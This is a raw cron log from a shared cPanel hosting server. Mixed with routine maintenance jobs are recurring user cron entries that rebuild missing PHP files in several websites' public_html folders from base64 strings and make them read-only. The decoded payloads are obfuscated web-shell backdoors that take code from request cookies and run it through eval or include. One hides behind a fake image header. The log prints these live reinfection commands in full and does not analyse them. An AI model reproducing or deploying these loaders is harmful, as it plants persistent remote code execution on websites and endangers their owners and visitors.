Jun  7 13:40:01 medusa CROND[18701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:40:01 medusa CROND[18698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:40:01 medusa CROND[18708]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:40:01 medusa CROND[18697]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18692]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:40:01 medusa CROND[18711]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18707]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18717]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:40:01 medusa CROND[18719]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:40:01 medusa CROND[18715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:40:01 medusa CROND[18727]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:40:01 medusa CROND[18718]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:40:01 medusa CROND[18733]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:40:01 medusa CROND[18712]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:41:01 medusa CROND[20529]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:41:01 medusa CROND[20536]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:41:01 medusa CROND[20537]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:41:01 medusa CROND[20538]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:41:01 medusa CROND[20543]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:41:01 medusa CROND[20542]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:41:01 medusa CROND[20544]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:41:01 medusa CROND[20546]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:41:01 medusa CROND[20545]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:41:01 medusa CROND[20547]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:41:01 medusa CROND[20549]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:41:01 medusa CROND[20550]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:41:01 medusa CROND[20553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:41:01 medusa CROND[20556]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:42:01 medusa CROND[22340]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:42:01 medusa CROND[22352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:42:01 medusa CROND[22354]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:42:01 medusa CROND[22355]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:42:01 medusa CROND[22360]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:42:01 medusa CROND[22362]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:42:01 medusa CROND[22363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:42:01 medusa CROND[22365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:42:01 medusa CROND[22366]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
